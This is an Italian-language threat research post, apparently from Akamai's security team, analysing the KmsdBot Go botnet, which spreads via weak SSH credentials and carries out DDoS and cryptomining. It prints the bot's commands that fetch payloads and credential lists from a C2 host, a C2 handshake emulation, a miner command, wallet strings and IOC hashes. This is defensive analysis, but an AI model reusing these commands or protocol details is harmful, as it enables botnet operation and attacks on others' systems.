KmsdBot: il malware di attacco e mining
Analisi riassuntiva
L'Akamai Security Intelligence Group ha osservato un nuovo malware che ha infettato il nostro honeypot, che abbiamo denominato KmsdBot.
La botnet infetta i sistemi tramite una connessione SSH che utilizza credenziali deboli.
È scritta in Golang, un linguaggio sempre più comune per gli autori di attacchi a causa della difficoltà del reverse engineering.
Il malware attacca utilizzando UDP, TCP, HTTP POST e GET, insieme a un'infrastruttura di comando e controllo (C2), che comunica tramite TCP.
Il malware non rimane persistente sul sistema infetto per eludere il rilevamento.
Il malware ha vari obiettivi tra cui il settore del gaming, il settore tecnologico e i produttori automobilistici di lusso.
La botnet ha anche la capacità di eseguire il mining di criptovalute.
Il malware supporta più architetture, come Winx86, Arm64 e mips64, x86_64.
Un altro giorno, un altro malware.
Il SIRT (Security Intelligence Response Team) di L'Akamai è responsabile del monitoraggio, del rilevamento, della documentazione e della pubblicazione di nuove scoperte per proteggere la sicurezza e la stabilità di Akamai, dei clienti di Akamai e di Internet nel suo insieme. Nell'ambito di questa missione, disponiamo di innumerevoli honeypot sparsi su Internet. I membri del SIRT osservano e analizzano questi honeypot, che portano a ogni sorta di scoperte interessanti, oltre a permetterci di restare aggiornati su ciò che sta accadendo nella realtà.
Questa settimana abbiamo iniziato a sperimentare una nuova configurazione dell'honeypot per verificare eventuali altri possibili scoperte, soprattutto con l'arrivo delle festività natalizie. Dato che tradizionalmente abbiamo assistito a più attività dannose in questo periodo dell'anno, il nuovo honeypot è stato lasciato più aperto e accessibile durante le prime fasi di test e modifiche. Quale modo migliore per testarlo?
Come previsto, abbiamo trovato una voce di registro interessante: Un cryptominer con una funzionalità DDoS (Distributed Denial-of-Service) specifica per il settore del gaming. Non capita spesso di osservare questi tipi di botnet che attaccano e si diffondono attivamente, specialmente quelli scritti in Golang. Gli obiettivi vanno dalle società di gaming ai brand di auto di lusso alle società di sicurezza: questo malware è pressoché irregolare per quanto riguarda i suoi obiettivi.
In questo post, descriveremo la storia di KmsdBot, di come si è imbattuto nei nostri meccanismi per consentirvi di indagare e migliorare la sicurezza nella vostra organizzazione.
Controllare sempre i registri
Dato che l'honeypot era abbastanza aperto, ci aspettavamo che avesse una serie di hit. Dopotutto, un buon honeypot attira gli autori di attacchi. Erano presenti alcuni comandi per il download di malware, quindi abbiamo avviato un'indagine. Dopo la revisione, c'erano parecchie voci come quella vista nella Figura 1.
Figura 1: Voce di registro del download di infezione da malware e comando di esecuzione
Abbiamo utilizzato FTP (File Transfer Protocol) per accedere al sistema e ottenere l'accesso a tutti i file disponibili per il download. Questo può dirci parecchio sulle motivazioni del malware stesso e potenzialmente sugli attori delle minacce dietro di esso.
Figura 2: Varie architetture CPU supportate
La Figura 2 mostra la struttura delle directory del server di download FTP. Possiamo vedere le directory dell'architettura di sistema: alcune contengono file binari compilati, mentre altre sono vuote. Ma le directory vuote mostrano le posizioni successive che gli autori di malware potrebbero prendere di mira. Lo script download.php contiene il codice di infezione che scaricherà ed eseguirà il malware sul server Web su cui è in esecuzione:
Figura 3: Lo script download.php contiene il codice di infezione che scaricherà ed eseguirà il malware sul server Web su cui è in esecuzione
Dopo un'ulteriore analisi, sembravano esserci alcuni file binari compilati in modo incrociato per varie architetture (Figura 3). Sebbene alcune directory siano vuote, alcune architetture (come x86_64 e 386) hanno esempi di malware da scaricare. Questo è importante da ricordare quando esamineremo gli obiettivi più avanti nel post.
Figura 4: I file binari di dimensioni simili sembrano essere revisioni della stessa base di codice malware
I file sono tutti binari in linguaggio Go compilati.
client: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=ob_PyXeD8H4173aDP-NM/Z7DzwyNXZ8c1Wr7LyTOK/t8bg8nky3tdpKdKSAvyp/_nWexL6rk1sZt5hRLfgs, with debug_info, not stripped
ksmdm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=lmjZVXbGVxjEutEAYziK/ak2EoKWzPPmCz2ipOltK/uKypKwO7m2jjT2AT0qnG/PiKIqd334XYNEl_likc3, with debug_info, not stripped
ksmds: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=CV7cqV3r6hVM05Ma2jpB/kc_FWOhPv8HtKZQUhiUi/jrGTR9lhjVWxp-9kHdDA/ev1S8rMmqqwjpvWz4sLX, with debug_info, not stripped
ksmdx: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=S65yXt0R7hEC1YEm5Ci7/qGG-jP6bpvA1TCgQwZoV/WpM491XNek0FReOrQmX_/EMNmhh6mJI8ycZhLPtP4, with debug_info, not stripped
kxmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=57pm413aVTQ8gOrUjHox/DwlgdSzYxLxitlBpe0OR/hdbtJaHv8ujFruku5AIJ/RrSUbVKsJ9wj-rBopzh3, with debug_info, not stripped
kzmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=2FTLNIjq7bgMnSOW0NhD/YBc64Ubft703RycI5yQL/85YkVXL_eseyGJG3XHm1/M_laLRa5tNb5oeZ24ROq, with debug_info, not stripped
Analisi
Una differenza dell'output di origine redress per il file binario client e il file binario ksmdm rivela che probabilmente sono la stessa cosa con lievi differenze di codice. Redress è un'utilità di reverse engineering in linguaggio Go open source che ricostruisce le strutture nei file binari Go per assistere nel reverse engineering. Questo è uno strumento fondamentale poiché stiamo osservando sempre più aggressori che utilizzano Golang per i propri sforzi dannosi, probabilmente perché rappresenta una sfida maggiore per il reverse engineering.
Stesso malware, diverso... tutto?
Il nome del pacchetto Go "/root/client" è lo stesso per la maggior parte dei file binari, il che implica che potrebbero essere dello stesso malware, ma forse revisioni diverse con funzionalità più recenti. Il malware viene aggiornato spesso, ma questo si sposta in più direzioni, il che è una caratteristica unica. Riteniamo che esista un client binario che dialoga con il C2, esegue gli aggiornamenti e avvia e interrompe il processo di mining. L'altro file binario sembra eseguire operazioni di mining e operazioni di attacco.
$ diff client.source ksmdm.source
19,23c19,23
< start Lines: 12 to 28 (16)
< startfunc1 Lines: 19 to 30 (11)
< startfunc2 Lines: 22 to 22 (0)
< udpclimb Lines: 30 to 60 (30)
< tcpclimb Lines: 60 to 88 (28)
---
> start Lines: 10 to 26 (16)
> startfunc1 Lines: 17 to 28 (11)
> startfunc2 Lines: 20 to 20 (0)
> udpclimb Lines: 28 to 58 (30)
> tcpclimb Lines: 58 to 86 (28)
Il primo obiettivo osservato di questo malware è stata una società di gaming chiamata FiveM, un client che consente alle persone di ospitare server privati personalizzati per Grand Theft Auto Online. La Figura 4 mostra l'apertura di un socket UDP e la creazione di un pacchetto con un token di sessione FiveM. Ciò farà sì che il server creda che un utente stia avviando una nuova sessione e sprecherà risorse aggiuntive oltre alla larghezza di banda della rete. Il malware non include solo specifici attacchi mirati, ma include anche attacchi generici di livello 4 e livello 7.
Figura 5: Disassemblaggio della funzione sym.main.udpfivemtoken che mostra la creazione di un pacchetto UDP con i dati del token FiveM
Scansione e diffusione
Un esame del campione ksmdx rivela funzioni per eseguire operazioni di scansione e aggiornamenti software e per controllare il processo di mining..
Package main: /root/client
File: client.go
(*Client)Recv Lines: 23 to 34 (11)
(*Client)Handle Lines: 34 to 52 (18)
(*Client).Handlefunc1 Lines: 35 to 35 (0)
File: command.go
NewCommand Lines: 15 to 32 (17)
(*Command)Handle Lines: 32 to 62 (30)
File: commandfunctions.go
ShellExec Lines: 11 to 23 (12)
scan Lines: 23 to 50 (27)
stopscan Lines: 50 to 69 (19)
updateminer Lines: 69 to 108 (39)
stopmine Lines: 108 to 127 (19)
updateclient Lines: 127 to 159 (32)
File: main.go
main Lines: 8 to 16 (8)
File: methods.go
start Lines: 12 to 28 (16)
startfunc1 Lines: 19 to 30 (11)
startfunc2 Lines: 22 to 22 (0)
udpclimb Lines: 30 to 60 (30)
tcpclimb Lines: 60 to 88 (28)
File: utils.go
randomwallet Lines: 73 to 79 (6)
envname Lines: 79 to 129 (50)
Il file binario ksmdx è un downloader che notifica al C2 che il sistema è stato infettato inviandogli una richiesta HTTP POST con la notifica di "Bruh Started:".
$./ksmdx 192.168.0.14 /ksmdm 192.168.0.14 kumd kxmds
Visualizziamo la richiesta GET nei log del server HTTP:
192.168.0.44 - - [20/Oct/2022:13:09:34 -0400] "GET /ksmdm HTTP/1.1" 200 2904330 "-" "Go-http-client/1.1"
Avviando un listener sulla porta 45833 visualizziamo il messaggio POST di conferma dell'esecuzione:
Al bot può essere inviato il comando !scan per scaricare un elenco di credenziali di accesso (Figura 5) da utilizzare durante la scansione delle porte SSH aperte:
!scan xxx.xxx.xxx.xxx xxx.xxx.xxx.xxx/win/kzmds xxx.xxx.xxx.xxx kvmd kmsd
Figura 6: Il file kzmds è un elenco di combinazioni di nome utente e password
Figura 6: Il file kzmds è un elenco di combinazioni di nome utente e password
Comunicazione C2
[pid 18212] connect(3, {sa_family=AF_INET, sin_port=htons(51382), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 1047] connect(4, {sa_family=AF_INET, sin_port=htons(51388), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
Quando ho ricontrollato i miei registri, ho visto che il malware stava attaccando il mio honeypot da un nuovo indirizzo IP. Stava caricando nuovi file binari con un nuovo indirizzo IP C2 integrato.
Osservando il traffico di rete notiamo che la connessione viene inizializzata con un byte nullo di 0x00 dal sistema infetto e una risposta di 0x01 viene inviata dal C2. Il sistema infetto risponde quindi con un 2 in esadecimale 0x02.
[pid 2514865] write(4, "0x02", 4) = 4
And 0x01 is the response
xxx.xxx.xxx.xxx.51388 > xxx.xxx.xxx.xxx.52280: Flags [P.], cksum 0xf2b4 (correct), seq 20:24, ack 21, win 510, options [nop,nop,TS val 1019359456 ecr 4067014838], length 4
0x0000: 4500 0038 adf3 4000 3a06 9b4a ab16 1e1f E..8..@.:..J....
0x0010: c63a 6812 c8bc cc38 81f9 f90a abeb 552a .:h....8......U*
0x0020: 8018 01fe f2b4 0000 0101 080a 3cc2 30e0 ............<.0.
0x0030: f269 b8b6 3078 3031 .i..0x01
Possiamo testarlo rapidamente con l'utility netcat.
$ echo "0x00" | nc xxx.xxx.xxx.xxx 51388
0x01
[pid 2516369] write(4, "0x00", 4) = 4
It looks like 0x02 is the heartbeat
xxx.xxx.xxx.xxx.52280 > xxx.xxx.xxx.xxx.51388: Flags [P.], cksum 0xf7ac (incorrect -> 0xd616), seq 57:61, ack 57, win 502, options [nop,nop,TS val 4066922833 ecr 1019262337], length 4
0x0000: 4500 0038 3010 4000 4006 132e c63a 6812 E..80.@.@....:h.
0x0010: ab16 1e1f cc38 c8bc abeb 54de 81f9 f8c2 .....8....T.....
0x0020: 8018 01f6 f7ac 0000 0101 080a f268 5151 .............hQQ
0x0030: 3cc0 b581 3078 3032 <...0x02
Comunicazione con il C2
Il testo evidenziato in verde sotto è la risposta del C2 e il testo evidenziato in blu è dove ho emulato il malware inviando la risposta 0x02.
% telnet xxx.xxx.xxx.xxx 57388
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
0x00
0x010x02
0x010x02
0x010x02
0x010x02
0x010x02
0x01
Cryptomining
I possibili account utente del crypto-wallet dalla funzione sym.main.randomwallet() sono mostrati di seguito. Sospetto che questi vengano scelti a caso per contribuire a vari pool di mining. Durante il mio periodo di osservazione della botnet, non ho assistito ad alcuna attività di cryptomining. La botnet era impegnata solo in attività DDoS. Il bot ha la funzionalità per avviare l'attività di cryptomining, tuttavia ho trovato un comando ./ksmdr -o pool.hashvault.pro, dove ksmdr è in realtà il file binario xmrig che è stato rinominato.
│ │╎ 0x0065b6b0 488d05356c08. lea rax, [0x006e22ec] ; "42WDUXX5UYtNf9DyboNRx6TgNrJD43QfgTvEjh8djtdKVoNppnN96Nz8sVp2wWJTQgW9e8XjFLkv6KpSEgwWbLXLMKn5wwg42vGrE1WDpKgue8Y9ewpi6gXupMqDqYi"
│ │╎ 0x0065b6b7 4889442428 mov qword [var_28h], rax
│ │╎ 0x0065b6bc 48c74424305f. mov qword [var_30h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6c5 488d053d6d08. lea rax, [0x006e2409] ; "46DBehyheMSatgdGffv8SVAEK8ts6Ur4wToVNL99Yqo6ZGnv7q4QpaxG7YnaasngPvN1rbyxYyCZAABgyXyme92wRMaVn1V3617de4a96262c6f5d9e98bf9292dc29"
│ │╎ 0x0065b6cc 4889442438 mov qword [var_38h], rax
│ │╎ 0x0065b6d1 48c74424405f. mov qword [var_40h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6da 488d05c96c08. lea rax, [0x006e23aa] ; "45yK4gR5QCNag2X4g6ss6PUiL4s1e929b8mev4Rz3CbiTPU9NSXYHiyPL9FMi6cDVvD7EKho4atUf82s3vkVfFXNSsMqyUE46DBehyheMSatgdGffv8SVAEK8ts6Ur4"
│ │╎ 0x0065b6e1 4889442448 mov qword [var_48h], rax
│ │╎ 0x0065b6e6 48c74424505f. mov qword [var_50h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6ef 488d05556c08. lea rax, [0x006e234b] ; "42vGrE1WDpKgue8Y9ewpi6gXupMqDqYiKV4EwM7CFZFuNdRKP3dG6rADE7DRAcoEWGY6LmgCRKAiX16wGAu3Tj4mMQ9HR5B45yK4gR5QCNag2X4g6ss6PUiL4s1e929"
L'esame delle strutture di origine mostra che alcuni binari sono diverse versioni aggiornate della stessa base di codice, quindi sembra che questa botnet sia in fase di sviluppo attivo.
$ diff reports/kxmd/kxmd-src.txt reports/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51-src.txt
8c8
< (*Command)Handle Lines: 32 to 136 (104)
---
> (*Command)Handle Lines: 32 to 144 (112)
11,18c11,20
< scan Lines: 23 to 50 (27)
< stopscan Lines: 50 to 69 (19)
< updateminer Lines: 69 to 108 (39)
< stopmine Lines: 108 to 127 (19)
< updateclient Lines: 127 to 161 (34)
< loadclient Lines: 161 to 180 (19)
< startminer Lines: 180 to 193 (13)
< reloadminer Lines: 193 to 208 (15)
---
> scan Lines: 23 to 52 (29)
> startscan Lines: 52 to 75 (23)
> stopscan Lines: 75 to 97 (22)
> updateminer Lines: 97 to 144 (47)
> stopmine Lines: 144 to 166 (22)
> updateclient Lines: 166 to 202 (36)
> loadclient Lines: 202 to 221 (19)
> removefile Lines: 221 to 235 (14)
> startminer Lines: 235 to 248 (13)
> reloadminer Lines: 248 to 264 (16)
54,60c56,62
< getrandpath Lines: 12 to 62 (50)
< get Lines: 62 to 109 (47)
< fivem Lines: 109 to 156 (47)
< fivemguid Lines: 156 to 204 (48)
< post1 Lines: 204 to 255 (51)
< post Lines: 255 to 344 (89)
< bigdata Lines: 344 to 386 (42)
---
> getrandpath Lines: 11 to 61 (50)
> get Lines: 61 to 108 (47)
> fivem Lines: 108 to 158 (50)
> fivemguid Lines: 158 to 206 (48)
> post1 Lines: 206 to 257 (51)
> post Lines: 257 to 346 (89)
> bigdata Lines: 346 to 388 (42)
Analisi del traffico di attacchi
Gli attacchi che ho osservato sono stati pacchetti TCP/UDP di livello 4 con dati casuali come payload o HTTP di livello 7 costituiti da richieste GET e POST al percorso root o a un percorso specificato impostato nel comando di attacco (Figura 6).
Figura 7: Richieste POST di attacco
Gli screenshot seguenti mostrano intestazioni di richiesta modificate con riferimenti casuali con un'intestazione mancante. Abbiamo ripulito alcune di queste immagini per motivi di privacy.
Nella Figura 8, possiamo osservare un comando !post proveniente dal C2 che ordina un attacco contro un obiettivo.
Figura 8: Comando di attacco proveniente dal C2
Il C2 è definito nella funzione sym.main.connect() ed è mostrato nelle figure 8, 9 e 10.
Fig. 9: Disassemblaggio della funzione di comunicazione C2
Fig. 10: Disassemblaggio del codice di risposta 0x02
Fig. 10: Pacchetto di attacco di Big Data TCP
Fig. 11: Pacchetto di attacco di Big Data TCP
IOC
SHA256
701b874a56a9a0ed4101a88621441afec936c4210e18d9a3e20f9a95c454ce40 client
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11 ksmdm
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e ksmds
714eeba5b6e4610946cd07c1ddadddc94052bfe450a8a9b1c23495721082884d ksmdx
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95 kxmds
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54 kxmd
75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51 kzmd
09761d69bd5b00b2e767a1105dd3e80ce17b795cd817676c737a1e83c5b96f1b kumd.exe
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11 ksmdm
3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab ksmdr(xmrig)
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e ksmds
01b4d10e08d10c36d0c50f00d017fd6b3da8ebdd194ecafd12b0335c07f9ae10 ksmdx
74075b2bdfaf52d9e5984a28ec7765ae489077a69dd696718e724a455a6f7910 kumd
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54 kxmd
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95 kxmds
7fe04a3307666e6b6dac381664c901daea3ed5e8af3d7700ac5bde9550350d5a kmsd.amd64
2e091ecc4c912e6fbe4258da470459018dc8f3efde2803281a416a2c8eb8cf1a kmsd.arm
7c8a06b85280a43f96215203fb229d0f2a91b23d84e6ab2d25d9382fef19c35b kmsd.arm64
da609100cb66e6e4e79916ca1e7481269406e6a484f46187b3accb1626552d61 kmsd.mips
8136613eb3427f908a200f52b7938cc184a31b626b6c85a35e664c064de6d533 kmsd.mips64
50f2fb45c11e40ea4bbf4a8a733b6e65ce25c3f182aa0aa33ffb59ebae712003 kmsd.mipsle
e5a06b250ba10fe0156efe7399b321cb8b1fc8b1929e49ee62d837fa1440313f kmsd.ppc64
2971a37849388c7c3af0840eabc52f0b604fb9894429b7397100b12a069cfeff kmsd.ppc64le
247b0d5e40b8b1ec316e9700b499a2dc20d73bfd7f36d913e7725334a2818a7e kmsd.riscv64
7517e597a6ba4a8659b2dd4252085a99baca000684435f8b451af1418bfcac84 kmsd.s390x
Conclusione
Questa botnet è un ottimo esempio della complessità della sicurezza e di quanto si evolve. Quello che sembrava inizialmente un bot per un'app di gaming si è trasformato in un attacco a grandi brand di lusso. La novità è il modo in cui infetta, ossia tramite una connessione SSH che utilizza credenziali di accesso deboli. La buona notizia è che le stesse tecniche che raccomandiamo per proteggere i sistemi e le reti della maggior parte delle organizzazioni si applicano anche qui.
Non utilizzare credenziali deboli o predefinite per server o applicazioni distribuite.
Assicuratevi di mantenere aggiornate le applicazioni distribuite con le patch di sicurezza più recenti e controllale periodicamente.
Usate l'autenticazione con chiave pubblica per le connessioni SSH. Questo è il modo migliore per prevenire questo tipo di compromissione del sistema.
Il SIRT di Akamai continuerà a monitorare questa attività e pubblicherà gli aggiornamenti non appena saranno disponibili.
Per ulteriori ricerche e aggiornamenti in tempo reale, potete seguirci su Twitter.